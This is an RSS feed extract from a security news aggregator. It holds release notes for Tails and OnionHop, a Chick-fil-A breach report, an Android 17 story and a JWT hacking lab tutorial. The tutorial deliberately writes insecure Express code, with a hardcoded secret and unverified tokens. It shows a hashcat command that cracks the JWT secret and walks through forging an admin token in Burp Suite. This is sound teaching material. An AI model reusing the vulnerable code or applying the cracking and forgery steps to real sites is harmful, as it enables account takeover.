<h1>Changes and updates</h1>


<ul>
<li><p>Update <em>Tor Browser</em> to <a href="https://blog.torproject.org/new-release-tor-browser-15019/">15.0.19</a>.</p></li>
<li><p>Update some firmware packages. This improves support for newer
hardware: graphics, Wi-Fi, and so on.</p></li>
</ul>


<p>For more details, read our <a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>

<h1>Get Tails 7.10</h1>


<h2>To upgrade your Tails USB stick and keep your Persistent Storage</h2>

<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.10.</p></li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/index.en.html#manual">manual upgrade</a>.</p></li>
</ul>


<h2>To install Tails 7.10 on a new USB stick</h2>

<p>Follow our <a href="https://tails.net/install/index.en.html">installation instructions</a>.</p>

<div class="caution"><p>The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.</p></div>


<h2>To download only</h2>

<p>If you don't need installation or upgrade instructions, you can download
Tails 7.10 directly:</p>

<ul>
<li><p><a href="https://tails.net/install/download/index.en.html">For USB sticks (USB image)</a></p></li>
<li><p><a href="https://tails.net/install/download-iso/index.en.html">For DVDs and virtual machines (ISO image)</a></p></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chick-fil-A Confirms Customer Data Accessed in Cyberattack]]></title>
<description><![CDATA[Chick-fil-A data security incident may have exposed personal and account information belonging to customers after unauthorized parties launched an automated attack against the company’s website and mobile application. The incident targeted certain Chick-fil-A One accounts between June 17 and June...]]></description>
<link>https://tsecurity.de/de/3688259/it-security-nachrichten/chick-fil-a-confirms-customer-data-accessed-in-cyberattack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688259/it-security-nachrichten/chick-fil-a-confirms-customer-data-accessed-in-cyberattack/</guid>
<pubDate>Thu, 23 Jul 2026 09:24:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Chick-fil-A Data Security" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Chick-fil-A-Data-Security-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="Chick-fil-A Confirms Customer Data Accessed in Cyberattack 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="270" data-end="647">Chick-fil-A data security incident may have exposed personal and account information belonging to customers after unauthorized parties launched an automated attack against the company’s website and mobile application. The incident targeted certain Chick-fil-A One accounts between June 17 and June 19, 2026, using account credentials obtained from a third-party source.</p>
<p data-start="649" data-end="971">Chick-fil-A said it identified suspicious login activity involving certain Chick-fil-A One accounts and immediately took steps to prevent further unauthorized access. The company launched an investigation and determined on July 13, 2026, that unauthorized parties may have accessed information stored in affected accounts.</p>
<p data-start="973" data-end="1163">The company notified affected customers about the incident and outlined the types of information that may have been involved, along with steps taken to secure accounts and protect customers.</p>

<h3 data-section-id="qabuka" data-start="1165" data-end="1234"><span role="text"><strong data-start="1169" data-end="1234">Chick-fil-A Data Security Incident Linked to Automated Attack</strong></span></h3>
<p data-start="1236" data-end="1531">According to the <a href="https://www.mass.gov/doc/2026-1188-chick-fil-a-inc/download?utm_source=tugatech.com.pt" target="_blank" rel="nofollow noopener">notice sent to customers</a>, the Chick-fil-A data security incident involved an automated attack against the company's website and mobile application. The attackers used account credentials, including email addresses and <a href="https://thecyberexpress.com/steps-to-create-unbreakable-passwords/" target="_blank" rel="noopener">passwords</a>, that were obtained from a third-party source.</p>
<p data-start="1533" data-end="1754">The activity took place over a three-day period between June 17 and June 19. After identifying suspicious login activity, Chick-fil-A moved to prevent additional unauthorized activity and began investigating the incident.</p>
<p data-start="1756" data-end="1903">The company said its investigation later determined that unauthorized parties may have accessed information in customers' Chick-fil-A One accounts.</p>

<h3 data-section-id="1h8k3wz" data-start="1905" data-end="1975"><span role="text"><strong data-start="1909" data-end="1975">Chick-fil-A One Accounts May Have Exposed Personal Information</strong></span></h3>
<p data-start="1977" data-end="2094">The information potentially accessed in the incident varied depending on what customers had stored in their accounts.</p>
<p data-start="2096" data-end="2434">Potentially affected <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29091">data</a> may have included customers' names, email addresses, Chick-fil-A One membership numbers and mobile pay numbers. The information may also have included <a href="https://thecyberexpress.com/free-wifi-qr-code-risk-experiment/" target="_blank" rel="noopener">QR codes</a>, the last four digits of credit or debit card numbers, and the amount of Chick-fil-A credit, such as an e-gift card balance, associated with an account.</p>
<p data-start="2436" data-end="2620">For customers who had additional information saved to their accounts, the potentially exposed data may also have included the month and day of their birthday, phone number and address.</p>
<p data-start="2622" data-end="2717">The company did not state that all listed information was accessed for every affected customer.</p>

<h3 data-section-id="11jyvqk" data-start="2719" data-end="2783"><span role="text"><strong data-start="2723" data-end="2783">Chick-fil-A Resets Passwords and Removes Payment Methods</strong></span></h3>
<p data-start="2785" data-end="2979">Following the incident, Chick-fil-A said it took immediate action to protect affected accounts. The measures included forcing log-outs from impacted accounts and removing stored payment methods.</p>
<p data-start="2981" data-end="3159">The company also restored the balances of impacted Chick-fil-A One accounts. As an additional measure for affected customers, Chick-fil-A said it added rewards to their accounts.</p>
<p data-start="3161" data-end="3300">The company said it continues to enhance its <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29090">security</a>, monitoring and fraud controls to reduce the risk of similar incidents in the future.</p>

<h3 data-section-id="ebuey1" data-start="3302" data-end="3357"><span role="text"><strong data-start="3306" data-end="3357">Chick-fil-A Urges Customers to Update Passwords</strong></span></h3>
<p data-start="3359" data-end="3503">Chick-fil-A said it has <a href="https://thecyberexpress.com/tce-weekly-roundup-five-eyes-ai-kddi-tfl/" target="_blank" rel="noopener">reset the passwords</a> associated with affected accounts and urged customers to update their passwords as soon as possible.</p>
<p data-start="3505" data-end="3690">The company recommended that customers choose strong, difficult-to-guess passwords that are unique to their Chick-fil-A accounts and not reused across other websites or online services.</p>
<p data-start="3692" data-end="3934">The company also encouraged customers to remain vigilant against potential identity theft and <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/fraud/" target="_blank" rel="noopener" title="fraud" data-wpil-keyword-link="linked" data-wpil-monitor-id="29092">fraud</a>. Customers were advised to review their credit reports and account statements carefully and check for any activity that they do not recognize.</p>
<p data-start="3936" data-end="4288" data-is-last-node="" data-is-only-node="">The Chick-fil-A data security incident highlights the risks associated with compromised account credentials being used in automated attacks. While the company said it took steps to secure affected accounts and restore balances, customers are being encouraged to take additional precautions to protect their personal information and online accounts.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Makes Switching From iPhone Easier With Android 17]]></title>
<description><![CDATA[Switching from iPhone to Android is becoming much easier with Android 17, thanks to a new built-in wireless transfer system that supports more personal data and removes the need for a separate migration app.



Android 17 Transfers More iPhone Data



Google’s upgraded Android Switch experience c...]]></description>
<link>https://tsecurity.de/de/3687946/ios-mac-os/google-makes-switching-from-iphone-easier-with-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687946/ios-mac-os/google-makes-switching-from-iphone-easier-with-android-17/</guid>
<pubDate>Thu, 23 Jul 2026 06:12:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Switching from iPhone to Android is becoming much easier with Android 17, thanks to a new built-in wireless transfer system that supports more personal data and removes the need for a separate migration app.



Android 17 Transfers More iPhone Data



Google’s upgraded Android Switch experience can move photos, videos, contacts, messages, calendar events, saved passwords, Wi-Fi credentials, Google Account details, and an eSIM from an iPhone to a compatible Android phone.



The transfer takes place wirelessly while users set up their new Android device. Since the tool is built directly into Android 17, users do not need to find the correct cable, install another app, or manually sign in to every service.



Moving Google Account information also means users can arrive on their new phone already signed in. Transferring saved passwords and Wi-Fi details should further reduce the amount of setup required after the migration finishes.



An iPhone With iOS 26.3 Is Required



The iPhone must run iOS 26.3 or later, while the receiving phone needs a compatible version of Android 17. Apple also provides the transfer option through the iPhone’s Settings app, where users can begin moving their data and supported eSIM.



Users should keep both phones close together and connected throughout the process. Carrier support can also affect whether an eSIM transfers successfully.



Available on Pixel and Samsung Phones



The improved switching experience has started rolling out to select Pixel devices. Google says it will also be available on Samsung’s Galaxy Z Flip8 and Galaxy Z Fold8, with support planned for more Android phones.



The update makes changing mobile platforms less time-consuming, especially for people who previously avoided switching because their passwords, network settings, or mobile number were difficult to move.]]></content:encoded>
</item>
<item>
<title><![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]></title>
<description><![CDATA[In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.JWT As Security MeasureJ...]]></description>
<link>https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</guid>
<pubDate>Wed, 22 Jul 2026 20:59:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyQaXz8HeN3WWQ1vBcOBPA.png"></figure><p>In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.</p><h3>JWT As Security Measure</h3><p>JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..</p><p>Let’s take this JWT as an example.</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30</pre><p>The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a <strong>strong</strong> password. Ideally that password is saved in a .env file on the server and not in the code.</p><p>So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.</p><h3>Let’s Build The Lab Already</h3><p>You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.</p><h3>Lab Tree</h3><pre>/mediumLabs<br>└── /JWT<br>    ├── server.js<br>    ├── login.html<br>    ├── index.html<br>    ├── admin.html<br>    ├── /node_modules<br>    ├── /package-lock.json<br>    └── /package.json</pre><h3>Code</h3><p><strong>server.js</strong></p><pre>const express = require('express');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>const JWT_SECRET = 'secret';<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>function getToken(req) {<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);<br>  res.setHeader('Set-Cookie', `token=${token}; Path=/`);<br>  res.redirect('/index.html');<br>});<br>app.get('/index.html', (req, res) =&gt; {<br>  try {<br>    res.sendFile(path.join(__dirname, 'index.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});<br>app.get('/admin', (req, res) =&gt; {<br>});<br><br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>index.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Home&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in as &lt;strong id="username"&gt;&lt;/strong&gt;.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href="/admin"&gt;Go to Admin Panel&lt;/a&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>&lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin Panel&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body id="page"&gt;<br>&lt;h1&gt;Admin Panel&lt;/h1&gt;<br>    &lt;p&gt;Welcome, admin. Here is the secret flag:&lt;/p&gt;<br>    &lt;p&gt;&lt;strong&gt;FLAG{JWT}&lt;/strong&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>    &lt;a href="/index.html"&gt;Back to Home&lt;/a&gt;<br>&lt;/body&gt;<br>    &lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        if (payload.role !== 'admin') {<br>            alert('Access denied. You need to be an admin to view this page.');<br>        }<br>    &lt;/script&gt;<br>&lt;/html&gt;</pre><h3>Let’s Add Some Vulnerabilities</h3><p>Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.</p><p>In a <em>very, very wrong</em> way we already tried implementing security in admin.html. When you look inside the &lt;script&gt; tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.</p><blockquote><em>It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.</em></blockquote><p>So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const token = getToken(req);<br>  if (!token) return res.redirect('/');<br>  const payload = jwt.decode(token);<br>  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.</p><p>Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.</p><p>So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.</p><p>That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_iPpy8etHFbeUZMEijxQg.png"></figure><p>There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.</p><p>So let’s update our code.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  try {<br>    const payload = jwt.verify(getToken(req), JWT_SECRET);<br>    if (payload.role !== 'admin') return res.status(403).send('Forbidden');<br>    res.sendFile(path.join(__dirname, 'admin.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});</pre><p>If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*HdBUaxOXrt3RO4yj1jdwdw.png"></figure><p>So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.</p><p>For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.</p><p>The complete command looks like this: hashcat -m 16500 -a 0 &lt;JWT&gt; rockyou.txt -d1.</p><blockquote><em>Don’t forget to use the untampered token for this!</em></blockquote><pre>➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1<br>hashcat (v7.1.2) starting<br>&lt;skip&gt;<br>Dictionary cache hit:<br>* Filename..: rockyou.txt<br>* Passwords.: 14344384<br>* Bytes.....: 139921497<br>* Keyspace..: 14344384<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 16500 (JWT (JSON Web Token))<br>Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc</pre><p>As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.</p><p>Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.</p><p>In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzbxce5FoutFU5V4XJZqQ.png"></figure><p>Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-CceFWjnUVgb4tpiq6xGw.png"></figure><p>And now, we have successfully evaded the security that was in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHQgmBNWdmUDecjOmX92Rg.png"></figure><h3>Lessons We Should Learn About This</h3><p>As you saw, correctly implementing a JWT is only the first step of coding securely. Having a strong password policy, even when it’s not really enforceable, is very important. Don’t use ‘secret’ as your JWT_SECRET</p><p>One thing I already mentioned, but what I want to stress again is NEVER EVER store your JWT secret as a hardcoded variable, like we did with JWT_SECRET = 'secret'. Your code will probably live on GitHub where all kinds of stupid things can happen. A secret belongs in a .env file that is in your .gitignore and lives only on your dev machine and on the server, NOT in your code.</p><blockquote>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6d94a963b07d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab-6d94a963b07d">Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6]]></title>
<description><![CDATA[The scanner release. The Scanner page gains two long-requested tools, plus a round of bridge-tab refinements and fixes driven by community feedback.
Added

SNI scanner (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. Domain mode tests a list of can...]]></description>
<link>https://tsecurity.de/de/3687279/it-security-tools/onionhop-36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687279/it-security-tools/onionhop-36/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:20 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The scanner release. The Scanner page gains two long-requested tools, plus a round of bridge-tab refinements and fixes driven by community feedback.</p>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner</strong> (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. <strong>Domain mode</strong> tests a list of candidate domains as SNI on :443; <strong>Range mode</strong> tests one SNI across an IPv4 CIDR range (bounded). Working hosts can be applied as your custom SNI hosts (used by fronted webtunnel/meek/snowflake bridges) or saved to the library. Green = handshake completed (usable), red = blocked/reset.</li>
<li><strong>Saved-bridges library</strong> (Scanner → Saved). Bridges from the bridge scanner and hosts from the SNI scanner can be saved to a persistent library, then labelled, re-applied or removed later - scan results are no longer lost when the scan finishes. Both scanners gained a <strong>Save to Library</strong> action.</li>
<li><strong>Current Bridge tab: per-row copy + sortable columns</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4792201997" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/69" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/69/hovercard" href="https://github.com/center2055/OnionHop/issues/69">#69</a>). Each bridge row has a one-tap copy button, and the Type / Address / Status headers sort on click (click again to reverse); the bridge currently in use stays pinned to the top.</li>
<li><strong>Bridge copy/export refinement</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623180884" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/56" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/56/hovercard" href="https://github.com/center2055/OnionHop/issues/56">#56</a>). Copy on the Current Bridge tab now returns only the bridge Tor is actually using (not the whole supplemented list), and Export writes a CSV with Type, Address, Status, Fingerprint and the raw line.</li>
<li><strong>CLI <code>scan &lt;type&gt; --use</code>.</strong> After probing, the reachable bridges are saved as your custom list and selected as the source, so the next <code>connect</code> uses exactly those - the command-line equivalent of the GUI scanner's Apply button.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li><strong>Custom bridge source ignored under Smart Connect</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793735074" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/70" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/70/hovercard" href="https://github.com/center2055/OnionHop/issues/70">#70</a>). Smart Connect (on by default) reset the source to Auto and dropped your custom bridge list while racing its own transports, so a pasted obfs4 bridge could end up connecting via a webtunnel bridge you never added. Smart Connect now honors an explicit Custom source and uses exactly those bridges.</li>
</ul>
<p>Thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Airuop/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Airuop">@Airuop</a> for the scanner and bridge-tab suggestions.</p>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.exe</code> / <code>OnionHopCLI-Portable-3.6-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>
<blockquote>
<p>Not sure which Mac you have? Apple menu &gt; About This Mac. "Apple M1/M2/M3/M4" means Apple Silicon (arm64); anything listing an Intel processor needs the x64 build.</p>
</blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6.1]]></title>
<description><![CDATA[A patch for v3.6. The SNI scanner shipped broken and is fixed here; please update if you use it.
Fixed

SNI scanner never found a working host. Every probe failed with an internal .NET SslStream error (the certificate-validation callback was set in two places at once), so results always came back...]]></description>
<link>https://tsecurity.de/de/3687278/it-security-tools/onionhop-361/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687278/it-security-tools/onionhop-361/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:19 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A patch for v3.6. The SNI scanner shipped broken and is fixed here; please update if you use it.</p>
<h3>Fixed</h3>
<ul>
<li><strong>SNI scanner never found a working host.</strong> Every probe failed with an internal .NET SslStream error (the certificate-validation callback was set in two places at once), so results always came back "blocked" and the scanner looked like it did nothing. It now completes TLS handshakes and reports reachable SNI hosts correctly.</li>
<li><strong>SNI scanner status messages are now localized</strong> ("Ready.", "Scanning…", "Enter at least one domain to test.", etc.) instead of always showing in English.</li>
</ul>
<h3>Added</h3>
<ul>
<li>The saved-bridges library now shows a <strong>Ping</strong> column - the latency measured when each entry was saved.</li>
</ul>
